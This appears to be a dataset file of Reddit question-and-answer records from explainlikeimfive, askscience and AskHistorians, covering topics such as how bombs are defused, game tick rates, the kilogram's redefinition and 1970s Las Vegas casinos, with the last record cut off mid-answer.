{"q_id": "crogsu", "title": "how are real life bombs defused?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/crogsu/eli5_how_are_real_life_bombs_defused/", "answers": {"a_id": ["ex7hgbv", "ex7hrmh", "ex7n8cl", "ex89agl"], "score": [3, 4, 2, 5], "text": ["Well, it depends on the type of bomb. Most sophisticated bombs have several decoys to them. First step is to evacuate the area for obvious reasons. It us up to the diffuser to locate the active, working parts of the bomb. \n\nIf it's a chemically-based bomb, the easiest solution would be to figure out the chemicals at hand and add chemicals that would cancel the active ingredients. \n\nElectronic ones (depending on the type) could be jammed. Think phone signal jammer here. No electricity, no bomb. \n\nSome are a matter of wires. That I have no idea, but an electrician or diffuser would be able to tell which wires are live, which go to something, and which are decoys that lead to nowhere. \n\nHope I don't get red-flagged lol. And I really hope you're just curious here. Do NOT use this info for malicious intent.", "It depends on the bomb and the person who made it. Can it be as simply as cutting a wire like you see in the movies? Sure, but anyone who learns bomb making techniques also learns how to add layers of \"security\" to the bomb so others can't, or at least have a harder time, defuse it. This can be in the form of tamper-proof triggers, multiple triggers, etc.  \n\nIn short, someone makes a bomb, there has to be some sort of trigger. If that trigger can be disconnected from the explosive material the bomb won't explode. That trigger however, can have multitudes of fail-safes that may trigger the bomb if you simply cut a wire.  \n\nProfessionals are very much capable of making a bomb that their colleagues are unable to diffuse. This isn't because the bomb can't be diffused, but simply because there's so many possibilities it can be extremely difficult to be sure you know every potential thing that could trigger said bomb.", "Depending on where the bomb or suspected bomb is located it is usually detonated using other explosives to destroy it. This is ofc not possible if it is planted in a building for example unless it can be safely moved outside for disposal (detonation)", "Kinetically.\n\nIn real life, almost all bombs are subjected to \u201ccontrolled detonation.\u201d  There is rarely a reason to try to actually disarm.  Sometimes they will use a robot to deliver a piece of dynamite, or use pressurized water to break the bomb.\n\nDefusing a bomb by cutting wires is dangerous and unpredictable.  This should only be done as a last resort."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4edcem", "title": "If we could travel at the speed of light, would it ever be safe to travel through deep space?", "selftext": "Is there any theoretical way to know if you're going to collide with anything? My thinking is that in order to see something in deep space, where there is very little light and very little thermal energy to detect, it will need to be detected with energy emitted from the ship. Travelling at relativistic speed, will a pulse ever make it back to the ship in time for it to change course? Or do we need to fill space with vacuum tunnels and lighthouses to navigate it?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4edcem/if_we_could_travel_at_the_speed_of_light_would_it/", "answers": {"a_id": ["d1z65ir", "d1z7woa", "d205wpn"], "score": [13, 4, 2], "text": ["If we go arbitrarily close to the speed of light (we can't reach the actual speed of light), the small amount of gas and dust in interstellar space could become problematic and has to be taken into account (of course, we can only go like 20 km/s with rockets and ion propulsion right now). Even the cosmic microwave background [could be blueshifted into gamma rays and apply enough pressure to limit the speed of our spaceship](_URL_0_), albeit very slightly.", "Moving arbitrarily close to the speed of light, no, there is no way to detect something before you hit it.  You can think of this a couple ways.\n\n1. Consider yourself stationary.  Objects are moving at the speed of light towards you, so no signal emitted from them will reach you before the object itself can\n\n2. A little trickier, but as you approach the speed of light, length contracts in the direction of travel.  When you are travelling at the speed of light, the universe is effectively two dimensional, and you'll hit everything in front of you at once.  From an outsider's perspective, it will look like time has stopped for you, and you will make your entire journey instantly.\n\nI'm not great at explaining stuff but I hope that helps\n\n* It is worth noting, that while it may be impossible to detect things that might hit you, it's not completely unreasonable to imagine that if you can build a ship that travels close to the speed of light, you can shield yourself from anything small you might hit.\n* Alternatively, if you are moving VERY VERY close to the speed of light, you may not be able to meaningfully interact with other matter, and thus collisions aren't really a big deal. (Remember that in relativity, 0.999c is much faster than 0.99c)", "Here's a quote from someone reliable (TL:DR - you will die.  it's WELL worth reading the whole thing though):\n\n\"One major problem you would have to solve is the need for shielding.  As you approach the speed of light you will be heading into an increasingly energetic and intense bombardment of cosmic rays and other particles.  After only a few years of 1 g acceleration, even the cosmic background radiation is Doppler shifted into a lethal heat bath that's hot enough to melt all known materials.\"\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://klotza.blogspot.com/2016/04/physics-shower-thoughts-part-ii-cosmic.html"], [], ["http://math.ucr.edu/home/baez/physics/Relativity/SR/Rocket/rocket.html"]]}
{"q_id": "aqn2h0", "title": "What does /r/AskHistorains think of Francis Fukuyama and 'The End of History'?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aqn2h0/what_does_raskhistorains_think_of_francis/", "answers": {"a_id": ["eght761"], "score": [41], "text": ["The thing about Fukuyama is that he's not a historian, he's an International Relations Theorist. \"The End of History\" is an international relations book born out of the liberal school of international relations theory, not a history book. While history and international relations are related fields, practitioners in the two disciplines have differing methodologies and goals. I wrote a similar answer concerning Henry Kissinger's \"Diplomacy\" [here](_URL_0_), examining several of these differences, which you might be interested in reading. \n\nThe \"Liberal School\" of International Relations Theory, which has been the dominant school in academia since the 1990s, believes that peace and prosperity is the natural result of economic cooperation, rendering the disruption brought about by war and other conflicts far too costly, and fostering the spread of inclusive and democratic political ideas. Liberals credit both formal and informal U.S.-led institutions, like NATO, the United Nations, the World Trade Organization, and the World Bank, with fostering interconnectivity through capitalistic economic principles and the exportation of democratic ideas. Although it is a claim disputed by some theorists of the older 'Realist\" school, many Liberals will argue that the checks on power intrinsic to democratic states do not allow them to go to war with each other. \n\nIn his \"The End of History,\" Fukuyama is not looking to argue in favor of new interpretations of historical facts or evidence as a historian would. He is interpreting history to provide evidence in order to support a social science theory. \"History,\" insofar as Fukuyama is concerned, is the political and social development of mankind, which he argues in his book has reached its ultimate form in the liberal western-style democracy. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/9fijwx/what_do_historians_think_about_henry_kissingers/e5wx4g0/"]]}
{"q_id": "1i63p9", "title": "Is the act of \"rolling your eyes\" a recent social trait?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1i63p9/is_the_act_of_rolling_your_eyes_a_recent_social/", "answers": {"a_id": ["cb1d8bq", "cb1hn9k"], "score": [30, 5], "text": ["Quite recent, as it happens. It used to mean sexual excitation/flirtation. \n\nShakespeare's Rape of Lucrece poem has a passage in which the main character is \"rolling his greedy eyeballs in his head\" at the thought of having sex with the woman he's pursuing. \n\n_URL_0_ (line 368)\n", "Rolling eyes is a sign of fear in some mammals, but I don't know how relevant that is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.shakespeareswords.com/The-Rape-of-Lucrece"], []]}
{"q_id": "4mn531", "title": "what is a\"tick\" in gaming development terminology.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mn531/eli5_what_is_atick_in_gaming_development/", "answers": {"a_id": ["d3wr3oj", "d3wsdsq", "d3wt5sc", "d3wygbq", "d3x93mz", "d3xc72t"], "score": [775, 33, 3, 31, 9, 2], "text": ["If you have a game that runs in realtime, you are generally simulating some processes - they can be as simple as Mario moving right and jumping, or as complicated as the physics in a flight simulator.\n\nBut the key point is that you cannot simulate these processes perfectly smoothly - you cannot have an infinite number of simulation steps per second, because that would require infinite computing power. So what games do is that they cut up time into discrete steps, and the calculations are done for each step.\n\nEach of those steps is a tick, and having a tick of, say, 10 ms means that you have one of those steps every 10 ms, or 100 every second.", "Tick rate is a meassure of how many times a server sends state information to each client in a multiplayer game. \n\nIt is a constant matter of discussion in competitive games. Most shooters for example have some form of mechanism that rolls back the game state to the moment that a player made a shot to check if the hitscan would register a hit then. \n\nSimply put: If I shoot somebody (or move etc), it takes some time (due to lag) for my shot to reach the server, then it takes some time for the server to calculate the state that the game was when I shot, and then it takes some time (due to lag + tick rate) for the server to inform the other players that the shot occured. \n\nA low tick rate can have you dying after you already cleared a corner because an enemy had already killed you but you didn't \"receive\" it in time. \n\nHigher tickrate requires better servers and more bandwidth, and generally it affects the state of the game an order of magnitude less that lag does, so game companies don't have much incentive to raise it if they can help it. ", "a simple analogy of how computational devices work is to think of it as a black box with inputs and outputs.\n\nLet's say for your game you have a button input and a screen as an output.\nWhen the button is pressed the man on screen jumps due to whatever is being calculated inside that box.\n\n\nhow would you determine the button is pressed? you have a simple loop that tests if the button circuit is open or closed.\n\nHow often do you check? once a second. once a half second? etc. Essentially all computer devices are made up of several components like memory, a processor, input and output.\n\nIn order to make every component behave in a predictable way they are all synchronised by a clock. once every fraction of a second the clock sends out a pulse. at the edge of every pulse is when the components will perform an action.\n\n\nSo how do you make the man jump? you program the device to check the button every couple of ticks of the clock.", "Lets say that you have a bank account, but it only updates your balance once per day. That would be a tick rate of 1 tick per day. So if you have $100 in it and go get some food and spend $10, if you check you account right after, it will still say $100 until the next tick. So what you have to do is keep track of how much you spend in a day to make sure you don't spend more than you have. Since you know all the rules of how the bank account works, you can sort of run \"ticks\" of your own until the bank ticks for real.\n\nSo for a computer game, it will be at around 60 ticks per second. Which is really fast compared to our example. But the same concepts are happening. When you move, your computer tells the server you are moving in this direction and this speed. But since the server might be hundreds of miles away, it takes a while for that data to get there, so if we only ever went by what the server says, the game would always be about 60 milliseconds behind and it would be really hard to play well. But since your computer knows all the physics involved, it can just predict everything that will happen until it gets the next tick and the update everything then. And thats how you get things like rubberbanding where a guy running suddenly snaps backwards. It's because your computer was predicting them to be at one position, but the server sent data that said he was actually back there, and the server's data always wins out. ", "A tick is just an update of the game world. Games usually update with 10-60 ticks per second.", "It's a single unit of rendering and game logic.  To get a smooth framerate the renderer needs to run at least once a rendered frame.  Often gameplay, inc. decision logic and pathfinding are done in the rest of the frame length that isn't taken up by the renderer.  The combined game logic and renderer logic elapsed time per frame is known as a Tick."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "y41xj", "title": "Cause of the Satsuma Rebellion", "selftext": "Saigo Takamori's decision to lead a rebellion against the government he was instrumental in creating is rather bewildering. I feel confident in removing the romantic image of protecting the samurai and fighting corruption, as he was instrumental in modernizing Japan's military. Another idea is that he was not expecting centralization to proceed at quite as rapid a pace, but, again, he was a major leader of the Meiji Restoration, so it isn't as if he could be surprised, especially because centralization started pretty much as soon as the Meiji faction took power. And I seriously doubt the decision to not invade Korea could be *that* important.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/y41xj/cause_of_the_satsuma_rebellion/", "answers": {"a_id": ["c5s78v9"], "score": [18], "text": ["Remember, although he was a big proponent of \"Sonno-Joi\" (Revere the Emperor, expel the barbarian), the reforms were not moving in a way that he felt was the correct way. Too much power was being given to the people and those who hadn't been in government. Also, him and the Samurai at this point were considered by many to be useless, since when Meiji (and his advisors) decided to modernize, it effectively left the Samurai without jobs. This included both lower and upper Samurai. For men who's only job was to fight, this was tough. One of the primary reasons to invade Korea, although some may disagree with me was so that the Samurai could have a job again. When Ito Hirobumi and the rest of the major leaders decided not to invade Korea, (although they do later in the century) it left many Samurai in a difficult position. They could either find a job working for those people, who before the restoration, had been considered lower than them; or try and get their power back. \n\nTL;DR: Fight or not have a job that was considered respectable.\n\nSome good reading on this can be found in a couple of books:\n\n1.) *Modern Japan* By: Peter Duus 2nd Ed.\n\n2.) *Japan Examined* By: Harry Wray and Hilary Conroy\n\n3.) *Modern Japan: A History in Documents* By: James Huffman\n\n(I could talk for ages on this subject!)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5od3cd", "title": "yao's millionaires' problem: how to determine which number is bigger whitout knowing their exact sum.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5od3cd/eli5_yaos_millionaires_problem_how_to_determine/", "answers": {"a_id": ["dcikjup"], "score": [14], "text": ["OK I had to make some research ([here](_URL_0_) and [here](_URL_1_)) and this is a possible solution: (note that this is a simple solution and requires trust between Alice and Bob):\n\nAlice and Bob both have an amount of money that is a whole number between 0 to 10 (including).\n\nThey put 11 boxes into a room and mark each with amount of money (0 - 10). Now Alice leaves Bob alone in the room. Bob puts a piece of paper saying \"yes\" to boxes that represent amounts of money lower or equal to what he has. For example if he has 3 money, he puts \"yes\" in boxes 3, 2, 1 and 0. Now he leaves the room, Alice comes in and looks in the box that represents the amount of money she has. If there is a paper saying \"yes\", Bob has more or same money as her, otherwise he has less money.\n\nYou can see that Alice could cheat for example by looking in all boxes and figuring out how much money Bob has. Possible cheating can be prevented, but it's complicated and goes beyond me right now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://eprint.iacr.org/2016/189.pdf", "http://twistedoakstudios.com/blog/Post3724_explain-it-like-im-five-the-socialist-millionaire-problem-and-secure-multi-party-computation"]]}
{"q_id": "1ddnoi", "title": "Did the craftsmen at the Taj Mahal really have their hands cut off to prevent them from reproducing the work?", "selftext": "I visited the Taj in January (please, people, go see this if you have the chance. I expected to be non-plussed. I was blown away.) and the guide asserted that Shah Jahan had the workers' hands amputated so that they couldn't ever create a masterpiece to rival the Taj. I've also heard that the architect had his hand cut off.\n\nIs there really evidence for this? Just a legend?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ddnoi/did_the_craftsmen_at_the_taj_mahal_really_have/", "answers": {"a_id": ["c9pdp5y"], "score": [51], "text": ["It's a myth that's been attributed to several famous buildings. Considering that the labor force was more then ten thousand workers, if he *had*, it would have been serious news. There's also the myth that he cut off the hands of the designer, but that's also a myth.\n\nFinding sources for this is tricky, as proving a negative is difficult. The myth appears to have sprung up well after the creation of the Taj Mahal, so historical sources won't mention it.\n\nWikipedia calls it a myth, and [this website for tourism in Agra](_URL_0_) calls it a myth as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://agra-india.com/tajmahalhistoryandlegends.htm"]]}
{"q_id": "2lyzkw", "title": "Were there any early political campaigns that led to Southern Baptism becoming so closely aligned with the Republican party?", "selftext": "Or, were there any early theological battles tied to politics during the period after the civil war? Basically, I want to try to understand how, in a concrete sense, Southern Baptism was branded a republican institution. Did this happen 'intentionally', or was it an organic process?\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2lyzkw/were_there_any_early_political_campaigns_that_led/", "answers": {"a_id": ["clzq8h5"], "score": [5], "text": ["The alignment of Southern evangelicals with the Republican party is much, much later than I think you realize. You don't need a 19th century historian; you need a mid-20th century historian. Prior to that, Southern evangelicals generally went firmly Democratic. I'm not qualified to explain in detail why, but I would look up the Southern Strategy and the general political realignment of the South as a result of the Civil Rights Act."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9xu6x6", "title": "why has the 1 kg of weigt redefined and how is it better than the previous definition?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xu6x6/eli5_why_has_the_1_kg_of_weigt_redefined_and_how/", "answers": {"a_id": ["e9v6f68", "e9v6ibm", "e9v6md4", "e9v6o2a", "e9v6p7s", "e9v915c"], "score": [14, 9, 5, 3, 2, 4], "text": ["There are 2 ways to express measurements. One is use a comparison against some object. For example, my 1kg is equivalent to a bell I own in my basement which I was told is 1kg. Or, you express measurements using a theoretical construct saying 1kg must contain equivalent of X atoms of carbon.\n\nComparing it against another object may lead to troubles. Back in the days when a KG was defined, we had iridium or some material weighing 1kg given to many countries. These have changed over time and even they don't agree with each other anymore.\n\nAll SI units are now expressed as theoretical constructs as they don't change over time.", "The previous official measurement was based on a chunk of metal in France. This made it impractical for very precise measurements because going to France to calibrate instruments isn\u2019t always easy. \n\nThe new definition is based on Planck\u2019s Constant (a feature of quantum mechanics that I don\u2019t understand well enough to ELI5) and is (relatively) easy to verify with the right equipment. So, if you need an extremely precise measurement of weight it\u2019s now a lot easier to do. ", "Earlier the kilogram was defined as the weight of a platinum-indium cylinder. However, it's weight was found to fluctuate as it collects micro-particles of dust over time. For such a sensitive definition, even a micro-gram could deviate our results. Hence, to remove the dependency on physical object, plank's constant, a natural constant was chosen. As per the new definition, the unit of mass is measured by the amount of electrical force required to counteract 1 kilogram on a kibble balance.", "The weight that was the \"kilo\" (le grand K) was slowly losing weight the weight of a single eyelash since 1889. But over a long period this would have big impact.\n\nNow they redefined it to a mathematical solution. So the new \"kilo\" is no longer a tangible thing that can be destroyed or manipulated.", "It is no longer set as a physical standard. It is now mathematically defined. Precision is key.", "The goal of the SI unit definitions is so that anyone, anywhere in the *universe* can figure them out without needing a physical reference object\n\nUsing the new definition of the kg, you can now make your own reference kilogram with cesium for timekeeping, a few photons, and the right measurement equipment. This is similar to how the meter was redefined to be the distance light travels in \n1/299,792,458 second which allowed us to move away from the meter reference bar\n\nThe new kg and old kg are equivalent but you can figure out the new one anywhere in the universe"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3lo7ci", "title": "Did the Roman Empire interact with Slavs at all? Either through war or trade.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3lo7ci/did_the_roman_empire_interact_with_slavs_at_all/", "answers": {"a_id": ["cv80feq", "cv836kz", "cv87lax"], "score": [46, 12, 4], "text": ["\"Slavic\" is a designation of a linguistic group, not an archaeological culture, and it is notoriously difficult to match these two up in this period. Absent linguistic documentation, which we don't have in this context, it is impossible to know for certain whether a particular group is Slavic or not. That being said, there was an \"Amber Road\" (similar to the silk road) down which amber traveled from the Baltic to the Mediterranean. It is entirely possible that it passed through territories inhabited by Slavic speakers.", "According to Peter Heather\u2019s *Empires and Barbarians: the Fall of Rome and the Birth of Europe*\u2014which is basically a survey of modern scholarship on the rise of the Slavs and Germans\u2014the current consensus is that the Slavs only appeared as a new group among the older Baltic-speaking peoples toward the end of the western empire\u2014perhaps as a result of the disruptions following the collapse of the Hunnic empire. They are first mentioned by name in the 6th century, as an ethnic group with no political organization; during the subsequent migrations of the Avars, Bulgars, and Magyars, they are increasingly encountered by the Byzantines as refugees and captured slaves.", "I think the elephant in the room concerning this question is that the Slavs had a great deal of interaction with the Romans of the Eastern Roman Empire, a.k.a. the Byzantine Empire, through trade on the Black Sea and the Slavic river systems. From the Byzantines, Slavic peoples attained their written language system, Cyrillic, and their religion, Eastern Orthodoxy, from this interaction with the Byzantines, who for all intents and purposes thought of themselves as Romans, so there was a great deal of Roman influence on the Slavs. After the fall of Constantinople, Russia even took it so far as to call its capital, Moscow, the third Rome, defender of the faith after the fall of the first and second Romes. I'm sure you were referring to the Western Roman Empire in this question, but I still wanted to point out that most of Slavic culture is based around a Roman, or at least pseudo-roman frame."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2jo02t", "title": "how much money actors can make from their shows going into syndication?", "selftext": "For example, the cast of Scrubs, LOST, King of the Hill.  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jo02t/eli5_how_much_money_actors_can_make_from_their/", "answers": {"a_id": ["cldh9l0"], "score": [3], "text": ["It varies from show, to show and actor to actor. Depends on the contract. I know that the cast of friends each make $5-10 million a year from syndication, the guy who played Gunther even makes 500 grand. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zq0pf", "title": "can someone please explain to me, the difference between an ape and a monkey like im five?", "selftext": "I'm asking because of this comment.\n_URL_0_\nIs there even a difference?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zq0pf/can_someone_please_explain_to_me_the_difference/", "answers": {"a_id": ["c66q236", "c673w5i", "c676n3y", "c677otz"], "score": [20, 2, 2, 2], "text": ["[Ape vs Monkey](_URL_0_) comparison chart. Hope this helps.", "An ape can use Wikipedia ", "Monkeys are simians with tails, apes are simians without tales.  Ocassionally, \"monkey\" is used to referred to all simians.\n\nThis distinction is imprecise...old world monkeys are more closely related to apes than they are new world monkeys, yet the two groups are lumped together.  There are also some species of macaque, a type of monkey, that lack tails and thus have been labeled ape. \n\n ", "[This should help](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskReddit/comments/zpc7n/if_you_could_make_the_whole_world_aware_of_one/c66lxx1"], "answers_urls": [["http://www.diffen.com/difference/Ape_vs_Monkey"], [], [], ["http://www.youtube.com/watch?v=--szrOHtR6U"]]}
{"q_id": "a9s3qe", "title": "are two atoms across universe pulling each other?", "selftext": "the gravity force can be 0.0000-Ten million miles 0s-00001 g\n\nOr the gravity force will be really 0?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a9s3qe/eli5_are_two_atoms_across_universe_pulling_each/", "answers": {"a_id": ["eclxqa1", "eclz0ql", "eclzpcb", "eclzwg9"], "score": [12, 11, 7, 6], "text": ["In theory, yes.\n\nThe gravitational attraction that keeps the Earth going round the Sun could be thought of as the resultant summation of each pair of atom-atom interactions at 96 million miles distance. Of course there are easier ways to calculate it!", "Every particle in the universe that has mass exerts a gravitational force on every other particle with mass, regardless of the distance. The force decreases proportional to the square of the distance, but it can never be zero. Granted, the force may be *extremely* small but never zero.\n\nMathematically, the gravitational attraction is equal to (gravitational constant  x  mass1  x  mass2), divided by (distance)^2.\n\nNotice that as Distance gets larger and larger, the force gets smaller and smaller due to Distance being in the denominator. But no matter how large Distance gets, the result can never reach exactly zero.", "There's another thing to take into account here - gravity travels at the speed of light. So if two particles are more light years apart than they are old, then they won't affect one another.", " >  the gravity force can be 0.0000-Ten million miles 0s-00001 g\n\nUsing High School level physics, I don't get ten million miles of 0s.  I get 95 zeros.  \n\n0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000237 N\n\nGravity Force = G m_1 m_2 / r^2\n\nG = 6.67\n\nm_1 = m_2 = mass of hydrogen atom = 1.66e-27 kg\n\nr = diameter of [observable universe](_URL_0_) = 8.8e+26 m\n\nthat gives you a force of 2.37e-96 Newtons.  \n\nWhenever I get an answer that small, I start to wonder if there is anything neglected.  Almost any other effect is going to swamp out this attraction.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Observable_universe"]]}
{"q_id": "954dxf", "title": "when someone goes missing, why can't the authorities use cellular data to determine who was around the victim at the time of the crime?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/954dxf/eli5_when_someone_goes_missing_why_cant_the/", "answers": {"a_id": ["e3pweq1", "e3pwhel", "e3pymvv"], "score": [3, 3, 13], "text": ["They do.  Phone companies usually have at least the tower that your phone is talking to, so they can say what phones were in the area at the time.  But unless they're trying to tie a suspect to a situation it doesn't really help to know what people's phones were in a general area, especially if you aren't sure that a crime was committed", "The way cell towers work is that any devices in a particular radius connect to that tower . So if victim was connected to tower A and standing right next to it but there was also , say, 2500 other people connected to the tower but that included residents of nearby houses etc .\nSo it\u2019s very difficult to triangulate location based off cell towers . \nTo get the gps location in most cases you need a warrant of some sort and you can get a warrant on 2500 people that\u2019s what would be termed mass surveillance by many", "For the same reason they can't just start searching random people's homes to find them: individuals have rights and there are checks and balances in place to prevent the police from violating those.\n\nIf the police wants to check cellphone data, they can. But they need a warrant. To get that warrant, they will need to show a good reason for needing it. Because else you are just collecting a lot of data on innocent people on the off chance it might be useful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bty4em", "title": "Were the violent events that occurred in the movie Casino (1995) common occurrence in casinos in the 1970s (the vise scene, alive burial, hand-breaking, etc.)? Were the heads of Casinos actually that brutal and unforgiving to cheaters?", "selftext": "I\u2019ve always wondered about the reality of this movie. Martin Scorsese is an incredible director, and no doubt his work is amazing, but I just am curious to the reality of the 1970s gambling scene.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bty4em/were_the_violent_events_that_occurred_in_the/", "answers": {"a_id": ["ep6q7ez"], "score": [69], "text": ["In the 1970s, casinos in Las Vegas were in transition, as the \"original\" (to the late 1940s/early 1950s) model of ownership, small syndicates with quiet connections to organized crime, was displaced by publicly-traded corporations. This displacement was due to several factors:\n\n1. **Generational**: As [Mark Haller](_URL_2_) discussed, a cohort of young men, born around 1900, assumed control of American organized crime during Prohibition. Many of these men came to Las Vegas (Moe Dalitz) or secretly funded its casinos (Frank Costello, Meyer Lansky) in the 1940s and 1950s. In the 1970s, they were mostly in their seventies, and were dying off. Their children for the most part did not follow them into organized crime, and with gambling being a much smaller part of organized crime in the 1970s than it was in the 1940s/1950s, mobsters didn't have the same organizational skills for gaming that they once did (major exception: Chicago and Kansas City mobsters who parlayed their connections with the Teamsters Union to maintain influence in Nevada casinos into the 1970s).\n2. **Business**: The Sands Hotel (1952), cost about $4.5 million. It had 200 rooms, and expanded almost immediately. As it became clear that successful casinos could make money, the cost of getting into the game went up. Caesars Palace (1966) cost $19 million and opened with about 700 rooms--this was the last major resort opened under the old syndicate model. The Nevada Gaming Commission almost forbid it from opening because it was so under-capitalized. The International (1969), with 1,500 rooms cost $50 million. Historian Hal Rothman wrote about how casinos were once funded by \"shoebox capital\" from gangsters, and it was impossible to assemble $50 million from those sources. Hence the Nevada Legislature amended the state's gaming laws to allow ownership by public companies in 1967 and 1969, which led to existing casinos going public (Harrah's, Showboat) and outside firms buying in (Hilton, Ramada, Holiday Inn).\n3. **Leviathan**: State and federal action against the mob drove organized crime from active ownership in the gaming industry. In this telling, the regulators are the heroes.\n\nIn the 1960s, thanks to Ed Reid and Ovid Demaris's lurid book *The Green Felt Jungle,* the public became aware that Las Vegas casinos were controlled, at least partially, by organized crime. This is the first place that allegations of violence as scene in *Casino* became well-known. Was there violence behind the scenes of the casino industry? It is difficult to be definitive, since such actions would hardly have been documented, but some of the scenes in *Green Felt Jungle* strain credulity, as the claim that a cheating dealer had his shoes taken from him and was forced to walk from Las Vegas to Barstow, a distance of about 160 miles. The authors report this story as factual, even though it would have taken the dealer at least 50 hours of nonstop walking to get to Barstow, and while the authors claim that goons \"made sure\" he didn't ask for help along the way, it is hard to understand how they did so--did they follow behind him in a \"chase\" car at 3 miles per hour?\n\nOn to *Casino*. Set in the 1970s, it presents the final phase of major organized crime investment in Las Vegas casinos, and retells the real-life story of the Argent Corporation, Frank \"Lefty\" Rosenthal, and Tony Spilotro. Rosenthal and Spilotro's attorney (and future Las Vegas mayor) Oscar Goodman was consulted to some extent and even plays himself in the film. He has said that while the movie gets most things right, Spilotro did not use as much foul language as the character played by Joe Pesci. Famously, real-life hit man Frank Culotta, a consultant on the movie, objected that the actor performing a particularly gruesome murder (NOT the one [in this picture](_URL_1_); it takes place in a mansion). Martin Scorcese sent him to wardrobe and had him reenact the murder--which he had actually performed--on camera (source: video playing in Mob Museum gift shop). \n\nWere casino managers really rough with cheaters? Certainly people believed they were, a belief that served casino managers well but didn't completely prevent cheaters from trying. In *House of Cards: Legalization and Control of Casino Gambling* (1978), Jerome Skolnick devotes several pages to cheating. Notably, Skolnick collected his information at exactly the same time the events in *Casino* took place. He reports that casinos were aware of large-scale cheating but, given the sheer amount of money they were making, were not too concerned with it. He describes the struggle between the *enforcement imperative*\\--making sure all laws are followed--with the *business imperative*, long-term profit. Skolnick argues that casinos rarely press charges against cheating dealers, to avoid bad publicity and to prevent word that their games might be dishonest from leaking out. Skolnick describes most cheating as taking place in small casinos (250-1). That being said, casino managers did not like to lose money, and their documented concern with turning cheaters over to the authorities suggests that they may have used extra-legal means of resolution.\n\nThe live burial is possibly an accurate representation of the murders of Tony and Michael Spilotro, though [this more recent article](_URL_0_) has evidence to the contrary. \n\nPossibly anecdotally (so feel free to discount), I once asked a former member of the Gaming Commission whether *Casino* was an accurate portrayal of the 1970s. His response was that the head-in-a-vice scene did not take place in Nevada and did not reflect on Nevada gaming, other than that, he said it was the most accurate depiction he had scene, with some allowances for dramatic license."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.oakpark.com/News/Articles/8-14-2007/Details-of-Spilotro-murders-revealed-in-mob-trial/", "https://www.reddit.com/r/MovieDetails/comments/9aqwfh/in_this_scene_from_casinothe_hitman_in_the_hat_is/", "https://amzn.to/2HH4XLp"]]}
{"q_id": "24j10s", "title": "Are there examples from history of a commander deliberately sending his troops to die?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/24j10s/are_there_examples_from_history_of_a_commander/", "answers": {"a_id": ["ch7omln", "ch7oxz0"], "score": [12, 10], "text": ["During the first Anglo-Sikh war, there were allegations that the commanders of the Sikh Army, looking to preserve the rule of their leader, decided to deliberately destroy the Khalsa (the \"Pure\"), the heavily modernized Sikh army, by mismaneuvering it in an ill-advised conflict against the British, as they felt it was an internal threat.  However, this claim should be viewed with skepticism as it is advocated by Sikh historians who obviously have a vested interest in making the Khalsa seem it was defeated not in a clash of arms but by treachery.", "Shaka Zulu, in 19th-century South Africa, once supposedly ordered an Impi (a formation of soldiers) to march over a cliff, in order to demonstrate the loyalty and discipline of his troops. I haven't found a source on it, but it's a well known part of his legend.\n\nThe First Sikh War (1845-6) could be interpreted this way from the point of view of the Sikhs. The Sikhs were essentially forced to war with Britain by the over-powerful military faction, and as such the ruling Sikh nobility likely hoped that, if Britain could not be defeated, that their own military would be crippled in the process. As such, there is correspondence between the Sikh commanders and the British assuring that they were loyal to the Empire. At the crucial Battle of Ferozeshah, one Sikh noble did not send his army to attack when the British were very vulnerable; one suggestion was that in fact he did not want to defeat the British, and preferred to watch his allies be crushed.\n\nMaybe closest to what you're looking for, but on a smaller scale, is the story of Tibor Rubin. He was a Jewish soldier who fought for America in the Korean war (1950-3),whose heroic actions got him a retrospective Medal of Honour. He fought bravely in many 